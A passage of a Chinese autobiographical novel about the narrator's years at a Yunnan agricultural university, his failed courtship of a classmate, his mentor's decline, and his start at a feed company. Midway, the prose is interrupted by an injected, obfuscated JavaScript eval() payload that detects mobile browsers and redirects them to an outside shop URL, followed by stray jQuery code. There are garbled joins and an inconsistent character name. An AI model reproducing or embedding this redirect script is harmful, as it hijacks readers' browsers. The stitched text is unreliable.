我的学习组织引导人、介绍人兼落后分子谈话人张丽丽,每次看到我总会把头摇得像拨浪鼓,无奈地长叹一声,翻着白眼瞪着我说:“你还不如一条咸鱼,咸鱼还有翻身的时候。你没有哪怕一次学习是积极、认真、严肃的,没有一次学习感悟能让你从心底爆发出一场革命,改善自我学习意识,增强斗争本领,提振努力奋斗的精神。”
她每次找我谈完话,我总是迷迷糊糊地抬起头,用迷茫空洞的眼神看着她,傻乎乎地咧嘴一笑,摆出一副“死猪不怕开水烫”的姿态。然后她总会仓促地背起书包,喘着粗气,迈着沉重的步伐,重重地摔门而去。我好几次从她怒不可遏的表情和哆嗦的嘴唇上清楚地看出,她心里其实已经骂了我很多难听的话,甚至连我爹娘都被她一并“问候”了。
张丽丽刚做我的介绍人、开始辅导我时,或许觉得我只是游手好闲、不学无术、扶不上墙的烂泥——一个玩世不恭、没有精神信仰的学渣。但后来,随着我越来越离经叛道、不可救药,她便把我当成了行将就木、彻底不可理喻,只是还能呼吸吃饭的行尸走肉。她对我不仅完全放弃了电击心肺复苏式的抢救,甚至打心底觉得我是个性格怪异、愚昧无知的混账东西,甚至是邪恶的魔鬼化身。
我就这么在云南现代农业大学的校园里,以传统意义上“瞎混”“得过且过”的状态度过了四年。我深陷自我矛盾的泥潭,纠结于人格分裂的困境,既无法冲破传统的枷锁,也无力挣脱千年的桎梏。一只手渐渐接受了现实,接受了泥潭与枷锁带来的窒息和绝望,最终让我成了它们的一部分;另一只手却撕开了笼罩在头顶的团团乌云,让我站在远古的废墟上,看到了穿透云隙的阳光,救赎了分裂与矛盾的自己。
当时上农业类院校,每人每月都有几十元的生活补贴。自从考入云南现代农业大学,父亲也对我寄予了未来的厚望,在经济上给了我一些帮助。加上老家鲁亮县的农村信用社能提供助学贷款,我的大学生活并没有过得那么艰难困苦。
大学校园释放了我许多独立人格与自由思想,让我养成了喜欢孤独与简单的性格,以及说话纯粹直接的处事方式。每一个空虚的午后、孤单的夜晚,深入骨髓的寂寞驱使我对音乐、文学、绘画、冒险、极限运动等产生了浓厚兴趣。花不完的时间、公牛般的精力、找不到宣泄出口的岁月,迫使我走进了爱因斯坦、玻尔、奥本海默、普朗克、狄拉克等一众物理大神的世界,遨游在他们的思想海洋里。四年的自我学习与思考,让我翻越了糟粕文化遗迹周围挂着“严禁翻越”提示牌的高墙,走到了传说中敌人环伺的屋外,穿越了传说中有豺狼的森林,抬头便看见了浩瀚璀璨的星河。
大学一年级下学期开学不久,一位大师兄牵头组织了一场“鲁亮县老乡会”。所有在云南现代农业大学动科院上学的鲁亮县人,都相聚到昆明黑龙潭公园游玩、交流、合照、赴宴,相互认识,促进了解与学习。
在约定的时间,我来到黑龙潭公园内指定地点,看见牵头组织老乡会的大师兄英俊潇洒、风流倜傥,一边胳膊被一位漂亮女生像水蛇般缠绕着,另一边肩膀上背着一把民谣吉他。他不断彬彬有礼地和周围人打招呼、嘘寒问暖,见我默不作声地独自游离在人群外,便微笑着走到我身旁,建议我多和鲁亮老乡们交流——大家既是同院校友,又是鲁亮县老乡,以后需要多相互关照、相互帮助。最后他还关怀备至地拍着我的肩膀问:“你有没有女朋友啊?”
这位大师兄不仅是“鲁亮老乡会”的牵头组织者,也是每年迎接新生的志愿者。我当初办理入学手续时,就是他帮我来回奔波、忙前跑后办理的。
我羡慕地看着他被纤纤玉手挽住的胳膊,有些不好意思地回答:“还没有。”
“我们宿舍有8个人,还有4个没女朋友,我只是其中之一。我从来没追过女生,也没有想追求的目标。”还没等他继续追问,我便进一步解释,顺便拉上3个同样单身的室友做伴,企图挽回一些因“单身等于失败”的说法而受损的颜面。
虽然拉了3个室友一同“入坑”打掩护,但大师兄还是斜眼瞥了瞥身旁正像波斯猫般把头依偎在他肩膀上的漂亮女生,忧心忡忡地替我操起心来:“那得抓紧啊,要不然到毕业还是条单身狗。”
大师兄一边说,一边扭头用犀利的目光朝参加鲁亮老乡会的女生们那边扫视了一圈,回头轻声对我道:“肥水不流外人田,要不在这里面挑一个?我帮你打听打听,也帮你把把关。”
大师兄不愧是大师兄,老乡会还没开完,他就为我物色好了一个女生。他指给我看了看物色的对象,还介绍了些基本情况:“李莲翠。她跟你同年级同系,动物医学专业,目前单身。你得赶紧下手,这种条件的女生留不住多久,就看你有没有那个实力、能不能把她追到手了。”
我脆弱的自尊心与虚荣的好胜心瞬间被同时唤醒,挺直腰杆急切地问道:“应该怎么下手?还请大师兄指点迷津,教我几招。明天我就披挂上阵,立刻动手。”
那天在老乡会的晚宴上,大师兄弹奏了两首民谣吉他独奏曲,听得我如痴如醉,内心无比宁静,也生出了学习吉他的念头。
一首是西班牙民谣《爱的罗曼史》,也是我学吉他时第一首能完整弹奏的曲目。歌曲大意是“你是我夏夜的一颗星,你是我黎明的一片霞,你是我雾海中的一座灯塔,你是我思念的吉他”。
优美的旋律搭配清澈的分解和弦,浑然天成。这首3/4拍的曲子,全曲每4小节为一乐句,共32小节。在夜色温柔的仲夏,我常独自坐在学校大门左侧公园里的“同心亭”中反复弹奏这首让人心神宁静的歌。随着A段E小调下行音阶式的旋律缓缓展开,美妙的音符宛如被微风拂过的宁静湖面,泛起点点波光粼粼的涟漪,幽幽地扩散开去,经久不息地荡漾向远方。
第二首是英格兰民谣《绿袖子》,相传为英国国王亨利八世所作,旋律古朴优雅,曲风凄美婉约又带着忧伤。歌曲大意是:“你送的鸢尾花已枯萎,你教的歌我已弹会。风把旋律吹乱了,心又随风飞走了。挥别春天的绿袖子,秋天开始了,爱成了飘落的叶子。”
大师兄不仅是我追女生的军师,也是我学习吉他的启蒙老师。在我娶妻成家后,吉他始终被放在家中某个特殊的角落,每当我心神不宁、烦躁不安时,都会拿起它,试着弹上几首曲子,回忆往昔。
鲁亮老乡会结束后的第三天晚上,大师兄不知从哪弄来一束玫瑰花。他让我换上体面些的衣服,捧着花跟在他身后,径直走到李莲翠的宿舍楼下。
大师兄与李莲翠不过是第二次见面,谈不上多熟悉,可一见面却像久违的老朋友般高谈阔论、相见甚欢。我在一旁看得既羡慕又佩服,自愧远不如他有能耐。大师兄越聊越起劲,渐渐说到了我——其实我和他也不算太熟,但他介绍起我来依旧口若悬河、滔滔不绝:“我们这个鲁亮老乡小师弟,才华横溢,风雅脱俗,足球踢得相当好,百米能跑九秒九,而且为人真诚善良、志存高远,连我这个大师兄都是他的忠实粉丝。”
我在一旁听得全身发烫、脸皮通红,连抬头看一眼李莲翠都觉得不好意思,心跳得厉害,血液也加速流动。听着大师兄像说单口相声般幽默地介绍我,我只能尴尬地低头盯着自己的脚尖,不停地“呵呵”傻笑,还不时象征性地谦虚几句:“没有没有,大师兄您实在太过奖了!”
我与李莲翠的第二次见面,既怀着强烈想追求她的欲望,又让我生出一种做贼心虚的胆怯感。虽然见过两次面,可每次都紧张得连她的容貌都没看清,更别说了解她的性格了。我对她的五官轮廓完全模糊,唯一有些印象的是,头两次见面时她好像都穿着蓝色牛仔裤和白色旅游鞋。
我和大师兄去李莲翠宿舍的那天晚上,我不知道她对我印象如何,但我对自己的表现糟糕透了——像个不懂沟通的自闭症患者,像个手足无措的傻子,又像个一无是处的骗子。
那晚回到宿舍,我整夜都在回忆李莲翠说了什么、表达了什么,可一点都想不起来,脑海里一片混沌,仿佛她什么都没说、什么都没做。反倒是大师兄手舞足蹈、滔滔不绝的单口相声般的演讲让我印象深刻,而我在一旁低着头傻笑,支支吾吾地随声附和。
几天后,大师兄被水蛇腰女生挽着胳膊,春风满面地来到我们宿舍,还没坐定就急切地问:“你趁热打铁了没有?后续进展怎么样?”我一脸茫然:“什么趁热打铁?什么进展?”
大师兄先是一脸不解,接着哈哈大笑:“你真是太傻太天真了!那晚之后,你得接着给李莲翠送花,主动约她逛街散步,请她吃饭看电影,再试着牵牵手啊。难道要人家主动贴上来?你以为你是刘德华,还是李嘉诚的儿子?”
“见到她我就别扭,口干舌燥、心跳加速,说话结结巴巴,像小偷见了警察一样紧张,连走路都不自然。有没有简单点、含蓄委婉的追求方式?”我用渴望帮助的眼神看着大师兄问道。
“看你现在的样子,还是适合写情书表白。”大师兄想了想,很快给出结论,还为我量身定做了新的行动方案,调整了战术。
他给了我一封情书范文,让我把里面的名字、时间、地点等信息改一改,依葫芦画瓢抄在粉色心形信笺纸上。
我遵照他的指导,用我奇丑无比的字认真抄了一遍。我的字不仅歪歪扭扭,连横折竖直的笔锋都没有,纯属毫无规律的乱涂。常常过几天再看自己写的字,好多连我自己都认不清。
第一封情书稀里糊涂托人送了出去,可好多天过去,她没有任何回复或暗示,我开始焦虑不安,有种挫败感。我花了很多时间分析她不回复的原因,设想各种可能,却始终想不通。大师兄替我分析,可能是我字太丑她没看明白,也可能是不够诚恳。他建议我按自己的真实想法再写一封,用电脑打印出来,通过中国邮政寄过去。
于是我埋头写了两整晚,写出一封三十多页的情书。从月亮写到太阳,山川写到河流,大地写到天空,过去写到未来;又从足球聊到吉他,鲁迅聊到阿尔贝·加缪,梵高聊到毕加索,喜马拉雅山脉聊到呼伦贝尔草原。写完三十多页,我差点被自己感动——没想到能写这么多,还能如此侃侃而谈、娓娓道来。
我再次按大师兄的吩咐,打印出来寄了出去。我满怀希望地翘首以盼,朝思暮想等着回音,可依然石沉大海,她还是沉默。我的焦虑挫败变成了巨大的恐慌,还有颜面尽失的羞辱感,和睡在下铺的杨状态成了同病相怜的患难兄弟。
经过这一通瞎折腾,我们班不少男生都知道我在追隔壁动物医学班的李莲翠。在脆弱的自尊心、好胜的虚荣心驱使下,加上几个热心同学的怂恿,我又接连写了几封情书送了几次,礼物也递过几回,结果依然石沉大海。同宿舍的李英俊给我出主意,让我在云南现代农业大学每天下午五点半的《青春之声》广播站为她点歌示爱。我言听计从,可点了歌后她还是不为所动,没有任何回音。我们班班长张云龙也帮我打探,摸清她课余常去的地方,让我来场“邀约不如偶遇”,可每次都错失良机,和她擦肩而过。有好几个晚上,我反复琢磨台词,下了许久决心,鼓足勇气拨通她们宿舍的电话。可当她接起电话时,我又紧张又忘词,结结巴巴语无伦次,匆匆挂掉电话后,连自己说了些什么都记不清。她们宿舍的室友知道我为追求她做的种种荒唐事,偶尔见到我,还会用奇怪的眼神看着我,露出让人不安的微笑。
我就像轻轻掠过她身边的微风,她或许感觉似有似无、可有可无,但那已是我拼尽全力的样子。她不回复我,与我无关——就像她不会追问微风的方向,那与风无关,只与她的心情有关。
这场从未正式开始、从未真正了解,建立在虚荣面子之上的“单相恋”,旷日持久地持续到毕业。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334296|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我把自己臆想成唐吉诃德式的痴情卫士,为了掩饰挫败感、羞辱感,以及失败带来的种种荒唐行为,在别人面前给自己披上高尚、纯洁、真诚的外衣,伪装成情感专一的正直情圣。我像个初次跑龙套的演员,起初还知道自己在演戏,后来入戏太深,竟把自己当成了故事的主角,把虚构的剧情当成了现实生活。最后索性自己编剧、导演、主演,把追求她变成了一场现场电影拍摄。
我像只慌忙逃进洞口的老鼠,别人越往外拽它的尾巴,它越往洞里钻。别人越劝我“天涯何处无芳草”,我越伪装成对李莲翠的一片痴心——其实只有我自己知道,我连她的容颜都没仔细看清过,全是虚荣心、玻璃心、挫败感和羞辱感在作祟。
有时谎言被一千个人说一千遍,就能变成很多人誓死捍卫的真理;人有时明知是谎言,可对自己暗示一千遍,谎言也会植根心底,变成画地为牢的行为准则。虚伪的面具戴久了就会长在脸上,伪装得太久,自己也会迷失在虚幻里,浑然不觉。
也许人年轻时最不该做的,就是在该学习积累的年纪,为虚无缥缈的感情用力过猛、陷得太深,耗费了青春年华,最后一事无成、碌碌无为。
错把陈醋当成墨,写尽半生都是酸。现在我从心底感谢李莲翠,当年她的决绝,让我没有“写尽半生都是酸”。也许那时她比我成熟、比我有定力,甚至比我更了解我自己。
多年后的今天,如果有机会再见到李莲翠,我会先仔细看清她的容貌,然后由衷地说:“我为当年无知的冲动行为向你道歉!对不起!当年在众人面前那样没有底线地骚扰你,也许让你颜面尽失,还给你带来很多不必要的烦恼,可你从未真正伤害过我。”
大师兄叫胡顺中,我进校第二年他就毕业去了昆明正方饲料有限公司做销售员。这家公司隶属于东南亚的正方集团,是外资农牧企业,有东南亚“胡雪岩”之称,主营猪、鸡、鸭、鱼饲料,在云南饲料市场占有率第一。它赞助的某电视台《正方综艺》节目更是人尽皆知、家喻户晓。胡顺中在公司负责云南大理州南涧县、大渡口县和祥云县三个县的饲料销售工作。
我即将毕业那年,他回了一次母校,请我和几个师兄弟在校门口的“红光饭店”摆了一桌。仅仅两年时间,时间和社会改变了他许多,很多观念和想法都发生了翻天覆地的变化。
曾经被我们奉为追女生“圣经”的理论,也被他彻底推翻,重新建立了一套很现实的说法:“只要你足够有钱,要什么样的女人都会有。不仅李莲翠、张莲翠这样的普通女孩有,就连歌星、影视明星也能有。在学校谈恋爱,不过是花钱养着或陪着别人将来的老婆,犯不着太认真。你今天的新欢,是别人昨天的旧爱;你昨天的旧爱,也成了别人今天的新欢。”
我们几个师兄弟都伸长脖子,围坐在他身旁,虚心听他分享毕业两年后对男女恋爱关系的最新见解,以及对社会人情世故的最新感悟。
“做饲料销售员难不难?有没有发展前途?我们需要提前学些什么知识来应对?”想到即将毕业的未来,我心里有些忧虑和疑惑,便岔开话题向他询问。
他端起身前桌上满满一杯酒,一饮而尽,又缓缓从腰间皮包里摸出一部诺基亚最新款手机,“啪”地重重拍在桌上。清了清嗓子,不紧不慢地说:
“饲料销售员是份极具挑战性的工作,既锻炼人,也是屌丝逆袭成功率较高的职业之一。诀窍就十六个字——吃喝玩乐,洗按嫖赌,能谈善交,吃苦耐劳。吃喝玩乐是所有行业销售员的入门必备:俗话说‘吃人嘴软、拿人手短’,麻将一响黄金万两,酒量等于销量;洗脚按摩的次数,往往对应着客户订货的次数;开发客户最快的三种关系,是一起同过窗、一起扛过枪、一起嫖过娼。
开发客户的步骤,本质上和追女生差不多:先找到目标对象,再想办法接近;接着讲自己过去的辉煌成就,描绘未来的美好前景;然后发现对方的具体需求,没需求也要创造需求,最后尽全力满足这些需求。
经销商开发完成后,帮客户铺货得踏遍千山万水、走进千家万户、说尽千言万语;面对养殖客户,则要亲自去养殖场,费尽千辛万苦、用尽千方百计,协助他们把鸡鸭猪牛养好。
在学校学的知识,做饲料销售基本用不上。酒量大、能说会道才是生存之本,察言观色、左右逢源、八面玲珑才是生存之道。比如我们昆明正方饲料公司的销售总监刘大海,上面把东南亚的老板们伺候得舒舒服服,下面把我们销售员管理得服服帖帖,听说年薪几十万。还有几个比我早毕业几年的大师兄,在公司也身居高位,混得风生水起,年薪少说也有十几万。”
他还顺带介绍了云南饲料市场上几个主流公司的特点:
“天神集团是云南本地企业,近几年迅速崛起,老板曾是深圳正方康地饲料公司的销售员,还是我们鲁亮县的老乡。天神饲料在产品定位、价格档次、销售渠道和营销模式上,都和我们昆明正方饲料公司很接近。
云南黄虎山饲料公司原是公有制集体企业,后来改制为民营企业,主打家禽饲料。但机构臃肿,三个领导管一个兵,效率低下,经营管理混乱,一直在吃老本。
云南宽联饲料公司、昆明新觉醒饲料公司等,虽都是有一定规模的全国性企业,却属于低质量档次的饲料,服务意识不强,主打低价策略。这类公司常为抢占市场不择手段,缺乏优秀经营理念,没有可持续发展的长期思维。
宋人神集团下属的曲靖市神牛饲料公司,走产品差异化路线,主打低蛋白日粮概念的服务营销。对员工要求坚韧不拔、吃苦耐劳,强调敬业自责、自信创新,还要求无条件忠诚宋人神,永远感恩公司。
四川恒威集团下属的云南恒威饲料公司,只做水产饲料。传说老板柳花明掌握几十项水产饲料核心技术,名下有数百项专利,还拿过多项国家科技进步奖。他个人生活也很讲究,据说一套定制阿玛尼西服的钱,够两个人读四年大学;一辆定制劳斯莱斯的费用,抵得上一所大学几个月的经费。”
随着桌上空酒瓶越来越多,大师兄又慢慢聊回大学校园,拍着胸脯,涨红着脸,结结巴巴地说将来要如何关照我们,讲了许多肝胆相照、两肋插刀的兄弟情义。聊起大学时的前女友,他眼眶隐隐湿润,声音带着哽咽:“她毕业后回了家乡的畜牧局工作,如今已是人妻,很快就要当妈妈了。”
那一晚,我们喝了很多酒,聊了很多事。聊起昨天的糗事时,开怀大笑;聊到明天与未来时,陷入沉思;谈及男女情感时,摇头感叹;说起吉他与音乐时,神采飞扬。我们一直聊到深夜,饭店服务员反复催促了好几次,才意犹未尽地相互拥抱、彼此鼓励,依依不舍地散伙离开。
再次见到胡顺云大师兄,是在一年后的昆明南窑汽车客运站。那时我已和他从事相同的职业,在宋人神曲靖神牛饲料公司做销售员。他留起了长发,蓄了胡须,精神萎靡,满脸沧桑与皱纹。我们见面只是简单打了个招呼,便各自登上所乘的客车,匆匆擦肩而过。一年前他已离开昆明正方饲料公司,跳槽到云南宽联饲料公司做销售,几个月后又辗转到其他饲料公司,后来几经跳槽,在楚雄州一家规模很小的饲料公司跑销售。又过了几年,听说他去了文山州麻栗坡县,自己做起了饲料经销商,再后来生意失败,店铺破产关门,负债累累,沦落到给一个经销饲料原料的个体户当送货工。
又过了些年,一个寒风凛冽的冬日下午,胡顺中大师兄到昆明找我,刚见面就开口借五千元,说要去上海到日本的游轮上打工,需要路费和前期的食宿费。自他大学毕业,十五年的蹉跎岁月,不仅褪去了他玉树临风、潇洒倜傥的外表,也消磨了他朝气蓬勃、雄心万丈的豪情。他变成了胡子拉碴、身材臃肿、愁眉不展、眼神黯淡的人,头瑟缩在油亮破烂的衣领里,走路时颓废地低垂着,活像个弯腰驼背的老年大爷,让我唏嘘不已,感慨万千。
我请他在云南现代农业大学校门口,已被拆迁的“红光饭店”原址附近吃饭。那天晚上的饭吃得很短,我不知道该对他说什么,他也没什么话题可聊。他自顾自喝着闷酒,望着云南现代农业大学翻新的大门发呆。除了学校时的共同经历,其他方面我们已隔着难以逾越的鸿沟,彼此只能尬聊几句便陷入沉默。透过电动的铝合金伸缩大门,能看见离别多年的冬夜校园里,落叶萧瑟,安详宁静,没有漂亮的女生,也没有弹唱的吉他手。曾经属于我们的校园,属于我们的青春时代,早已物是人非。
第二天,我送他到昆明火车站,准备进站时,他突然放下行李,转身泪眼蒙眬地看着我,布满老茧与裂痕的右手搭在我肩上,颤抖着被泪水打湿的嘴唇低声说:“你是我开口借钱的九个人里,唯一肯借给我的。本来你在我计划借钱的名单里排最后,也是我觉得最不可能借钱的人。这些年我越混越差,路越走越窄,很多以前的同学朋友都对我避而不见,他们看我就像看垃圾废物,甚至是会传染疾病的瘟神,都想离我远一点。我眼看就要40岁了,依然一无所有,连老婆都没有。颠沛流离大半生,一事无成,庸庸碌碌混了这么多年,不仅白活了,还弄得身心交瘁,疲惫不堪。我想换个没人认识的地方,重新开始。”
“你在游轮上无亲无故,又没熟悉的饲料销售可做,生存肯定比现在还难。要不回鲁亮县老家种菜吧,你老家不是还有几亩地吗?这几年鲁亮县的大棚蔬菜已经形成规模,销路应该不愁。”我不想让他沉浸在逝去的回忆里,便转移话题,试着帮他分析现状,谈谈对他未来的看法。
“父母含辛茹苦把我养大,供我读完大学。他们生我养我一场,我曾经给了他们无穷的希望,也承载过他们无数的寄托。以我现在的处境,再也不能我回了家乡种地,不想让他们失望,不想让他们看到我山穷水尽、走投无路的模样。他们年纪已经那么大了,就算我只是他们一场不切实际的白日梦,我也不能惊醒他们——哪怕我就像莫泊桑短篇小说《我的叔叔于勒》里的“于勒”,我也心甘情愿,永不后悔做这样的“于勒”。
这几年我一直在练习吉他,演奏水平比以前长进了不少。我在往返上海和日本的游轮上打工,白天在餐厅当服务员,晚上在酒吧做节奏吉他手,收入还算不错,吃住都在船上。乐队里的贝斯手、键盘手、架子鼓手和主音吉他手,已经在船上待了很多年。因为原来的节奏吉他手突发疾病骤然离世,我才得到了这份船上的工作机会。游轮上的不少乐手,很久才下一次船,有的一年一次,甚至有人几年都不愿下船。他们不为大千世界所困,不为灯红酒绿所扰,在有限的船舱里追寻着无限的梦想。或许对他们而言,游轮之外的世界太过纷繁复杂,让他们看不清黑白真假;音乐之外的声音太过喧嚣冗长,让他们彷徨迷失,看不到边际与尽头。
他说完低下头,用手拂去吉他外套上的灰尘,又缓缓抬起头,望着我的眼睛,无比坚定地说:“这么多年来,我其实从来没有真正热爱过饲料销售这一行。我原本以为,为了生存放弃个人的兴趣爱好,就能活得不那么挣扎悲催。可直到今天我才明白,人不能为了眼前的苟且,就放弃仰望星空的勇气。与其在命运的苟且中被生活戏弄、沉沦腐烂,不如在苟且的生活里勇敢做自己命运的主人。遵从内心的声音,为自己的心灵而活。不管明天会怎样,至少我真正为自己活过。”
我望着他消失在进站口人流中的孤单背影,很想大声呼喊:“奔跑吧!我的流浪歌手兄弟!此时此刻,你是自我精神世界里真正的君王,是真正的人生勇者!”
在工业文明发展到如此高度的今天,我们都是被物质奴役的生物机器,是被欲望驱使的指令代码。人唯有真正主宰自己的思想,光明才能驱散内心深处的黑暗。所谓的远大梦想,不过是迫使自己苟且活在当下的借口;在时间的长河里,没有什么名利值得非要去追逐。唯有自我与活着本身,才是最真实的人生——除此之外的一切,皆是过眼云烟,梦幻泡影。
饲料销售员这份工作,看似极具挑战、前途光明,可实际上只有极少数人能最终成为企业的销售高管;如果选择自主创业,能成功闯出一片天地的更是凤毛麟角。绝大部分饲料销售员,最终都成了饲料与畜牧行业发展中的匆匆过客,被淹没在时代洪流里,成了油嘴滑舌的“老油条”“二流子”或“老炮儿”。饲料与畜牧行业集约化、工业化、智能化的车轮滚滚向前,他们既不是乘客,更不是司机,只是燃料——燃烧了青春年华,为行业发展提供动力,最后像尾气一样被淘汰出局。
当我们年轻还在大学校园时,总是天真地漠视过去,无知地透支未来,为了考试而学习,为了取悦他人而放弃自我。等步入社会,一路被残酷的现实鞭打教训,饱尝挫折与失败后才猛然发现:自己曾丢失的最重要的东西是时间成本,错过的最珍贵的青春礼物是试错成本。别人的建议和道理改变不了今天的我们,往往只有亲身经历、教训与“南墙”,或许才能改变明天的我们。
命运馈赠的人生礼物,早已在年轻时的性格特征与思维方式上明确标好了价格——只是会根据时代环境的不同,统一打折或集体上浮。它就像夜空中的点点星光,那是恒星在千百万年甚至亿万年前发出的光,穿越了漫长的亿万光年,幸运地落入我们眼中,我们才知道那个位置上曾有一颗恒星存在。
7. 第 7 章
毕业在兵荒马乱的一地鸡毛中如期而至,青春在离别伤感的分道扬镳里戛然而止。
下一个夏天,云南现代农业大学3栋420男生宿舍的门后上铺,依然会住着一个青涩少年,只是那少年不再是我;3栋4楼的阳台上,也许仍然会坐着个弹吉他的孤单男孩,只是那个男孩也不再是我。我曾度日如年的昨天,是另一个男孩渴望的明天;我行色匆匆告别的今天,是未来回不去的昨天。告别与开始、终点与起点之间总在交替变换,就像太阳东升西落、花开花落一样,是自然而然、持续不断的规律轮回。
一千多个茫然的白昼,一千多个寂寞的夜晚。在学校“同心亭”漫步过的晨昏,在图书馆门口悄悄走过的冬夏,最终浓缩成一个永远无法转身的苍茫孤独背影。带着四年时光沉淀的点点滴滴,怀着对同学的深情眷恋与对未来的无限憧憬,我离开了云南现代农业大学的校园。
告别晚宴在校门口的“红光饭店”举行。往日有人请客去“红光饭店”摆一桌,里面总是充满欢声笑语,洋溢着无限欢乐;但那一天晚上,在相互道别的觥筹交错间,强装欢笑的脸上闪动着泪光,祝福声中带着唏嘘与感伤。湿热的手掌一遍又一遍重重拍打着对方的肩膀,我们像一群再见就再难相见的蹒跚老者,轻声诉说着曾经四年的过往。
那一夜,我们很多人都喝醉了,也都哭了。我们相互拥抱着回忆起许多开心的往事,释怀了不少往日的恩怨情仇,祝福着彼此明天的前程似锦,寄望着未来的再次相聚。四年时光就这样过去了,无论我是否喜欢云南现代农业大学的校园生活,我依然很怀念它,直到永远。
当我们拿到大学毕业证的那一刻,很多人误以为那是辉煌人生的起点,其实那一刻却是不少人辉煌的顶点。当我们走进社会这所真正的大学时,才发现自己的薪水还不及一个搬砖工多,自己的技能也不如一个建筑工人实用。甚至很多人努力奋斗了几十年后,在父母需要他们的时候,除了泪流满面一无所有;在儿女需要他们的时候,除了一声叹息沉默不语。到了人生的迟暮之年,仍会把这一切归结为“这都是命中注定”,或是“读书太少,要是当年我接着读研读博士……”诸如此类仍在迷途中徘徊的话。
我们班有20%左右的同学选择了继续读研究生,剩下的大部分人都选择考公务员,或者考上岗证进事业单位。有少部分人就算已在民营企业找到了合适的工作,也选择“身在曹营心在汉”,暗地里备考来年的公务员或上岗证。当时,经常出现数百人甚至数千人竞相报考一个公务员岗位、千百人争过一根独木桥的盛况。还有极少部分人刚毕业就不想做出任何努力,直接选择“躺平”。他们可以“躺平”,但我连“躺平”的资格都没有——我不工作就没有任何经济来源,也没有什么人可以依靠。
我一度也曾隐隐有考公务员或上岗证的想法,但仅仅只是转念一想,随即完全打消了这种念头。因为大部分人选择考公务员或上岗证的理由几乎清一色:公务员或事业单位的工作相对轻松,是稳定的“铁饭碗”,待遇高、福利好。但世界万事万物都是动态平衡的,如果有人“活少钱多”,那一定有人因他们而“活多钱少”;如果有人“岁月静好”,那一定有人为他们“负重前行”。我不想让那些类似我家乡父老乡亲一样的人群替我“负重前行”,也不想让自己的人生完全可以预见、一眼望到尽头,让一切工作和生活都枯燥无味地按部就班、循规蹈矩。
或许世界上最轻薄的荣誉,是一面高喊着为你提供无私的贡献和服务,一面却需要靠你养活;最刺耳的歌颂,是一面赞美着牛的淳朴和勤劳,一面吃着牛肉说真香。
绝大部分同学毕业多年后的认知水平、思想眼界、胸怀格局,也永远停滞在了大学时期,从不曾向阳生长、枝繁叶茂。其实他们在大学毕业的那一年就已经“死”了,只是身体到五六十年后才化为尘土。毕业多年以后的同学聚会,往往更多是对过去的怀恋、对当下的攀比,却几乎从未真正展望过未来。倘若有同学偶然出类拔萃,大多数人会不自觉地启动自我保护机制,为对方的成功寻找各种理由——说是靠运气、靠关系、靠投机,或是靠“老丈人”,总之绝非凭自身实力。而面对自己的一事无成、落魄潦倒,归根结底全怪自己太老实、太善良、太诚实,只会脚踏实地埋头苦干,最后还会想方设法把自己美化得近乎完美。或许人到中年的痛苦,本质上都源于对自身无能的愤怒。
第二天早上,宋人神集团曲靖神牛饲料公司派专车来接我们正式入职。和我一同加入集团的还有另外6名同学,其中我们班有两位:刘芳芳和李高明。
李高明身高185厘米,帅气阳光;刘芳芳身高166厘米,是我们班的班花,至少有三位男生曾追求过她。两人都是学生会成员,品学兼优。
我身高164厘米,属于矮矬类型,能被宋人神集团录用,实在出乎意料、受宠若惊。至今我仍对当初面试我的先生心存感激,也感谢集团让我养成了读书的习惯——当年的宋人神集团,确实是一个真正的学习型组织。
宋人神集团曲靖神牛饲料公司租用了原曲靖市粮食局停产已久的老旧饲料厂。厂区尘土飞扬、路面坑洼不平,土木与砖瓦结构的厂房残破不堪,渗漏问题十分严重;锈迹斑斑的饲料生产制粒设备常年处于维修状态;年久失修的筒仓上长满了杂草;锅炉房旁像个露天煤场,煤灰浸染的黑水一直延伸到厂门外,几百米外的马路上都泛着一片黑色。
唯有一栋翻新的两层办公小楼,成了厂区里的一道“□□”,也是客户参观时唯一能去的地方。但凡与曲靖神牛饲料公司相关的宣传资料,封面上印的都是这栋小楼的照片。它不仅苦苦支撑着公司的门面,更像是一块仅有的“遮羞布”。
厂区的公共厕所大概建于70年代,坐落在东南角的菜地旁,距离那栋两层办公小楼两百多米。里面密密麻麻的绿头苍蝇整天“嗡嗡”乱飞,哪怕进去小便,脸上也会被苍蝇撞好几下,常常能感觉到凉飕飕的湿意,还隐隐飘着淡淡的骚臭味。每天早上“朝训”前的十几分钟,一排白花花的屁股整齐地排在没有隔板或遮挡物的长方形坑道上。此起彼伏的“嗷嗷”声里,坑道下方升起阵阵白气,一根根“油条”似的大便“啪啪”坠入粪池,砸得粪水四处飞溅。赶着去“朝训”的员工们骂咧着起身,用大把卫生纸擦拭溅到屁股上的粪水,郁闷地开启了一天的忙碌。
加入宋人神集团的第一件事是入职培训。我们云南现代农业大学的7名新员工,加上其他院校招聘的3人,共10人。先在曲靖神牛分公司培训一周,接着每人会安排一位资深饲料销售员当师傅,带着在市场上实习一个月,之后再去湖南洪州的宋人神大学培训一周,最后才被派往各自负责的区域市场。
第一天的培训师是曲靖神牛饲料公司的第二任总经理,他重点讲述了宋二海董事长的传奇故事:“宋二海曾先后任职于洪州市粮食局和洪州市国营饲料厂,1988年开始自主创业,短短十几年间就发展出五大产业并驾齐驱,成为国家级农业产业化重点龙头企业。他个人收获的荣誉多如牛毛,包括全国五一劳动奖章、□□政府特殊津贴专家、中国人民大学客座教授等。虽然高中未毕业,但他仅用三个月自学英语,就能与外国人正常交流,还曾独自到英语母语国家‘千里走单骑’。此外,他能写诗作词,琴棋书画、歌曲舞蹈也样样精通,精力更是十分旺盛——一天能工作15个小时以上,吃饭休息加起来仅需9小时。”
宋二海董事长不仅是无所不能的“神奇超人”,更是宋人神集团唯一的伟大领袖、活着的传奇。那时的我,对他非常我心中满是敬仰,甚至近乎膜拜,极度渴望能早日目睹“神”的姿态,亲眼瞻仰“英雄”的风采。
